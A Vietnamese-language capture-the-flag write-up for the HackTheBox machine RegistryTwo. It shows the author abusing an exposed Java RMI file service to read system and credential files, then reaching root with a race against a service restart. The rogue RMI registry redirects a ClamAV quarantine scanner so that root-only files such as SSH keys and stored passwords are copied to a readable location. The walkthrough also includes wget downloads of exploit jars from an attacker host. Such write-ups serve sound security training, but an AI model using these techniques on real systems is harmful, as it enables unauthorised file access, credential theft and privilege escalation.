RegistryTwo Flag

 

Gaining access developer

Kiểm tra các cổng đang mở trên docker:

bash-4.4$ netstat -ntpl
netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3310            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5001            0.0.0.0:*               LISTEN      -
tcp        0      0 :::9002                 :::*                    LISTEN      -
tcp        0      0 :::3306                 :::*                    LISTEN      -
tcp        0      0 :::3310                 :::*                    LISTEN      -
tcp        0      0 :::8080                 :::*                    LISTEN      1/java
tcp        0      0 :::22                   :::*                    LISTEN      -
tcp        0      0 :::443                  :::*                    LISTEN      -
tcp        0      0 :::42207                :::*                    LISTEN      -
tcp        0      0 ::ffff:127.0.0.1:8005   :::*                    LISTEN      1/java
tcp        0      0 :::5000                 :::*                    LISTEN      -
tcp        0      0 :::8009                 :::*                    LISTEN      1/java
tcp        0      0 :::5001                 :::*                    LISTEN      -
bash-4.4$

Kiểm tra từng cổng một, tôi thấy cổng 9002 là cổng giành cho rmi server, sử dụng chisel, sau đó sử dụng nmap để scan tôi thấy:

PS D:\thehackbox\Machines\RegistryTwo> nmap.exe localhost -p 9002 -sVC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00s latency).
Other addresses for localhost (not scanned): ::1
rDNS record for 127.0.0.1: registry.webhosting.htb

PORT     STATE SERVICE  VERSION
9002/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   QuarantineService
|      implements com.htb.hosting.rmi.quarantine.QuarantineService,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @registry.webhosting.htb:45875
|             extends
|               java.rmi.server.RemoteObject
|   FileService
|      implements com.htb.hosting.rmi.FileService,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @registry.webhosting.htb:45875
|             extends
|_              java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.34 seconds
PS D:\thehackbox\Machines\RegistryTwo>
Từ nmap tôi thấy FileService, đây là một file kết nối rmi trong source code mà tôi đã lấy được:
package WEB-INF.classes.com.htb.hosting.rmi;

import com.htb.hosting.rmi.AbstractFile;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface FileService extends Remote {
  List<AbstractFile> list(String paramString1, String paramString2) throws RemoteException;
  
  boolean uploadFile(String paramString1, String paramString2, byte[] paramArrayOfbyte) throws IOException;
  
  boolean delete(String paramString) throws RemoteException;
  
  boolean createDirectory(String paramString1, String paramString2) throws RemoteException;
  
  byte[] view(String paramString1, String paramString2) throws IOException;
  
  AbstractFile getFile(String paramString1, String paramString2) throws RemoteException;
  
  AbstractFile getFile(String paramString) throws RemoteException;
  
  void deleteDomain(String paramString) throws RemoteException;
  
  boolean newDomain(String paramString) throws RemoteException;
  
  byte[] view(String paramString) throws RemoteException;
}
Viết một RMIClient để kiểm tra các method này, và tôi nhận thấy có 3 method có thể khai thác:
List<AbstractFile> list(String paramString1, String paramString2) throws RemoteException;

byte[] view(String paramString1, String paramString2) throws IOException;

AbstractFile getFile(String paramString1, String paramString2) throws RemoteException;
Từ đó tôi có mã khai thác: ExploitRmi
bash-4.4$ wget http://<IP Attack>/ExploitRmi.jar
wget http://<IP Attack>/ExploitRmi.jar
Connecting to <IP Attack> (<IP Attack>:80)
ExploitRmi.jar       100% |*******************************|  9834   0:00:00 ETA

bash-4.4$ java -jar ExploitRmi.jar view <vhost> /etc/passwd
java -jar ExploitRmi.jar view <vhost> /etc/passwd
[B@1d56ce6a
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
clamav:x:111:113::/var/lib/clamav:/bin/false
rmi-service:x:999:998::/home/rmi-service:/bin/false
developer:x:1001:1001:,,,:/home/developer:/bin/bash
_laurel:x:998:997::/var/log/laurel:/bin/false

bash-4.4$ java -jar ExploitRmi.jar list <vhost> /home/developer
java -jar ExploitRmi.jar list <vhost> /home/developer
rwxr-xr-x       ..
rwx------       .cache
rwxrwxrwx       pspy64
rw-r--r--       .bash_logout
rw-r--r--       .bashrc
rw-rw-rw-       .bash_history
rw-r--r--       .***-***********
rw-r-----       user.txt
rw-rw-r--       ExploitRmi.jar
rwx------       .gnupg
rw-r--r--       .profile
rw-r--r--       .vimrc
bash-4.4$ java -jar ExploitRmi.jar view eaa4eff1626e /home/developer/.***-***********
< view eaa4eff1626e /home/developer/.***-***********
[B@1d56ce6a
https://irogir:*********************************@github.com

bash-4.4$
Bây giờ tôi đã có password thử nó với user developer:
PS D:\thehackbox\Machines\RegistryTwo> ssh developer@webhosting.htb
developer@webhosting.htb's password:
developer@registry:~$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
developer@registry:~$ ls
user.txt
developer@registry:~$ cat user.txt
********************************
developer@registry:~$

Privilege escalation

Tìm kiếm tiến trình đang chạy, tôi thấy:
+ Process registry:
Tiến trình trên được thực hiện 3 phút một lần, được viết bằng java. Kiểm tra file registry.service và tôi thấy:
[Unit]
Description=rmi registry service
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=rmi-service
ExecStart=/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar /opt/registry.jar

[Install]
WantedBy=multi-user.target
Điều này tương ứng với tiến trình java registry.jar.

+ Process quarantine:

Tiến trình được thực hiện một phút một lần với mã nguồn java.


Tải các file trên về máy và thực hiện decompile nó:
+ registry.jar:

Đây là một dịch vụ RMI server, cung cấp thông tin configure.

Phân tích source code Server:
package com.htb.hosting.rmi.quarantine;

import com.htb.hosting.rmi.FileServiceConstants;
import java.io.File;
import java.rmi.RemoteException;
import java.util.logging.Logger;

public class QuarantineServiceImpl implements QuarantineService {
  private static final Logger logger = Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());
  
  private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/root/quarantine"), FileServiceConstants.SITES_DIRECTORY, "localhost", 3310, 1000);
  
  public QuarantineConfiguration getConfiguration() throws RemoteException {
    logger.info("client fetching configuration");
    return DEFAULT_CONFIG;
  }
}
Tại đây tôi thấy được configure mà server đang trả cho client.
+ quarantine.jar:
Đây là có thể xem như một dịch vụ RMI client sử dụng để lấy configure server.
Phân tích source code Client:
package com.htb.hosting.rmi;

import com.htb.hosting.rmi.clam.ClamScan;
import com.htb.hosting.rmi.clam.ScanResult;
import com.htb.hosting.rmi.quarantine.QuarantineConfiguration;
import com.htb.hosting.rmi.quarantine.QuarantineService;
...

public class Client implements LogConstants {
  private final ClamScan clamScan;
  
  private final QuarantineConfiguration config;
  
  public Client() throws RemoteException, NotBoundException {
    ...
  }
  
  public void scan() {
    File[] documentRoots = this.config.getMonitorDirectory().listFiles();
    if (documentRoots == null || documentRoots.length == 0) {
      out(256, "exiting", new Object[0]);
      return;
    } 
    out("initialize scan for %d domains", new Object[] { Integer.valueOf(documentRoots.length) });
    for (File documentRoot : documentRoots)
      doScan(documentRoot); 
  }
  
  private void doScan(File file) {
    if (file.isDirectory()) {
      File[] files = file.listFiles();
      if (files != null)
        for (File f : files)
          doScan(f);  
    } else {
      try {
        Path path = file.toPath();
        try {
          if (Files.isSymbolicLink(path)) {
            out(16, "skipping %s", new Object[] { file.getAbsolutePath() });
            return;
          } 
        } catch (Exception e) {
          out(16, "unknown error occurred when processing %s\n", new Object[] { file });
          return;
        } 
        ScanResult scanResult = this.clamScan.scanPath(path.toAbsolutePath().toString());
        switch (scanResult.getStatus()) {
          case ERROR:
            out(768, "there was an error when checking %s", new Object[] { file.getAbsolutePath() });
            break;
          case FAILED:
            out(32, "%s was identified as a potential risk. applying quarantine ...", new Object[] { file
                  .getAbsolutePath() });
            quarantine(file);
            break;
          case PASSED:
            out(0, "%s status ok", new Object[] { file.getAbsolutePath() });
            break;
        } 
      } catch (IOException e) {
        out(512, "io error processing %s", new Object[] { file.getAbsolutePath() });
      } 
    } 
  }
  
  private void quarantine(File srcFile) {
    File destFolder = new File(this.config.getQuarantineDirectory(), "quarantine-run-" + LocalDateTime.now());
    destFolder.mkdirs();
    try {
      File dstFile = new File(destFolder, getQuarantineFileName(srcFile));
      Files.copy(srcFile.toPath(), dstFile.toPath(), new CopyOption[] { LinkOption.NOFOLLOW_LINKS, StandardCopyOption.REPLACE_EXISTING });
      out("%s was successfully scanned", new Object[] { srcFile.getAbsolutePath() });
    } catch (IOException e) {
      out(512, "io error processing %s", new Object[] { srcFile.getAbsolutePath() });
    } 
  }
  
  ...
}
Sau khi chạy dịch vụ sẽ lấy thông tin configure từ server rmi. sau đó thông qua function scan() thực hiện tìm kiếm các file trong monitorDirectory từ configure.
Sau khi có được danh sách các file thực hiện doScan từng file một. Bỏ qua một vài lệnh không cần thiết. Tôi phân tích tiếp lệnh this.clamScan.scanPath lệnh này sẽ trả về kết quả Scan.
Nếu trạng thái là FAILED, dịch vụ sẽ gọi tới quarantine thực hiện chức năng copy file đó đến quarantineDirectory.
public ScanResult scanPath(String path) throws IOException {
    Socket socket = new Socket();
    try {
      socket.connect(new InetSocketAddress(getHost(), getPort()));
    } catch (IOException e) {
      Client.out(768, "could not connect to clamd server", new Object[0]);
      return new ScanResult(e);
    } 
    try {
      socket.setSoTimeout(getTimeout());
    } catch (SocketException e) {
      Client.out(768, "could not set socket timeout to " + getTimeout() + "ms", new Object[0]);
    } 
    DataOutputStream dos = null;
    String response = "";
    try {
      int read;
      try {
        dos = new DataOutputStream(socket.getOutputStream());
      } catch (IOException e) {
        Client.out(768, "could not open socket OutputStream", new Object[0]);
        return new ScanResult(e);
      } 
      try {
        byte[] b = String.format("zSCAN %s\000", new Object[] { path }).getBytes();
        dos.write(b);
      } catch (IOException e) {
        Client.out(768, "error writing SCAN command", new Object[0]);
        return new ScanResult(e);
      } 
      byte[] buffer = new byte[2048];
      try {
        read = socket.getInputStream().read(buffer);
      } catch (IOException e) {
        Client.out(768, "error reading result from socket", new Object[0]);
        read = 0;
      } 
      if (read > 0)
        response = new String(buffer, 0, read); 
    } finally {
      if (dos != null)
        try {
          dos.close();
        } catch (IOException e) {
          Client.out(768, "exception closing DOS", new Object[0]);
        }  
      try {
        socket.close();
      } catch (IOException e) {
        Client.out(768, "exception closing socket", new Object[0]);
      } 
    } 
    return new ScanResult(response.trim());
  }
Trong this.clamScan.scanPath tại class ClamScan đã thực hiện việc gọi tới server ClamAV, và kết quả trả về của server sẽ quyết định xem file có được copy đến quarantineDirectory hay không.
package com.htb.hosting.rmi.clam;

public class ScanResult {
  ...
  
  public ScanResult(String result) {
    setResult(result);
  }
  
  public ScanResult(Exception ex) {
    setException(ex);
    setStatus(Status.ERROR);
  }

  ...
  
  public void setResult(String result) {
    this.result = result;
    if (result == null) {
      setStatus(Status.ERROR);
    } else if (result.contains(": OK")) {
      setStatus(Status.PASSED);
    } else if (result.endsWith("FOUND")) {
      setSignature(result.substring("stream: ".length(), result.lastIndexOf("FOUND") - 1));
    } else if (result.endsWith("ERROR")) {
      setStatus(Status.ERROR);
    } 
  }
  
  ...
}
Chỉ cần kết quả trả về không nằm trong trường hơp FAILED, thì file sẽ được ghi tới một không gian khác.
Từ đó tôi có thể lợi dụng registry rmi server để sửa lại configure sao cho có thể đọc được những file mà tôi không có quyền truy cập. Để làm được vậy, tôi chuyển kết nối ClamAV tới máy của tôi.
Nhưng giờ đây tôi gặp phải một vấn đề lớn. Tôi không có quyền sửa file registry.jar
Tôi nhận được một phương pháp khá hay từ một người bạn. Tôi biết rằng khoảng 3 phút dịch vụ registry sẽ được khơi động lại một lần. Tôi có thể lợi dụng khoảng thời gian mà dịch vụ khởi động lại chạy dịch vụ registry của tôi trước khoảng thời gian mà dịch vụ của server chạy.

Từ đó tôi có mã khai thác như sau: Registry
Tôi cần đổi lại <IP Attack> và serialVersionUID trong mã khai thác này.
Khai thác của tôi thực hiện như sau:
PS D:\thehackbox\Machines\RegistryTwo> more .\exploitpe.sh
#!/bin/bash
while true
do
  registry=`ps -ef | grep systemctl | grep registry.service` ; [ ! -z "$registry" ] && java -jar Registry.jar
done

PS D:\thehackbox\Machines\RegistryTwo> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [26/Jul/2023 10:45:58] "GET /Registry.jar HTTP/1.1" 200 -
::ffff:10.129.**.** - - [26/Jul/2023 10:49:15] "GET /exploitpe.sh HTTP/1.1" 200 -

#--------------------------------
developer@registry:~$ wget http://<IP Attack>/Registry.jar
--2023-07-26 03:45:52--  http://<IP Attack>/Registry.jar
Connecting to <IP Attack>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29090 (28K) [application/octet-stream]
Saving to: ‘Registry.jar’

Registry.jar                                         100%[===================================================================================================================>]  28.41K  50.5KB/s    in 0.6s

2023-07-26 03:45:53 (50.5 KB/s) - ‘Registry.jar’ saved [29090/29090]

developer@registry:~$ wget http://<IP Attack>/exploitpe.sh
--2023-07-26 03:49:09--  http://<IP Attack>/exploitpe.sh
Connecting to <IP Attack>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130 [application/x-sh]
Saving to: ‘exploitpe.sh’

exploitpe.sh                                         100%[===================================================================================================================>]     130  --.-KB/s    in 0.002s

2023-07-26 03:49:10 (53.3 KB/s) - ‘exploitpe.sh’ saved [130/130]

developer@registry:~$
Tải lên mã server và mã thực hiện khai thác.
Chạy khai thác và chờ đợi:
developer@registry:~$ ./exploitpe.sh
[+] Bound to 9002
Jul 26, 2023 4:16:02 AM com.htb.hosting.rmi.quarantine.QuarantineServiceImpl getConfiguration
INFO: client fetching configuration

#-----------------------------------------
PS D:\thehackbox\tool\socat> .\socat.exe TCP4-LISTEN:3310,reuseaddr,fork STDIO
 ...
 zSCAN /root/.ssh/id_rsa
 zSCAN /root/.ssh/authorized_keys
 zSCAN /root/.ssh/id_rsa.pub
 zSCAN /root/root.txt
 zSCAN /root/nginx/default
 zSCAN /root/.***-***********
 zSCAN /root/tomcat-app/context.xml
 zSCAN /root/tomcat-app/Dockerfile
 ...
Đọc file các file mà tôi vừa lấy được:
developer@registry:~$ cd /tmp/quarantine/
developer@registry:/tmp/quarantine$ find -iname *.***-***********
./quarantine-run-2023-07-26T04:16:26.650772883/_root_.***-***********
developer@registry:/tmp/quarantine$ cat ./quarantine-run-2023-07-26T04:16:26.650772883/_root_.***-***********
https://admin:********************@github.com
developer@registry:/tmp/quarantine$ su
Password:
root@registry:/tmp/quarantine# id
uid=0(root) gid=0(root) groups=0(root)
root@registry:/tmp/quarantine# cd ~
root@registry:~# ls
check-vhosts.sh  docker-compose-reg.yml  docker-registry  iptables.sh  nginx  quarantine  registry  root.txt  tomcat-app
root@registry:~# cat root.txt
********************************
root@registry:~#


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post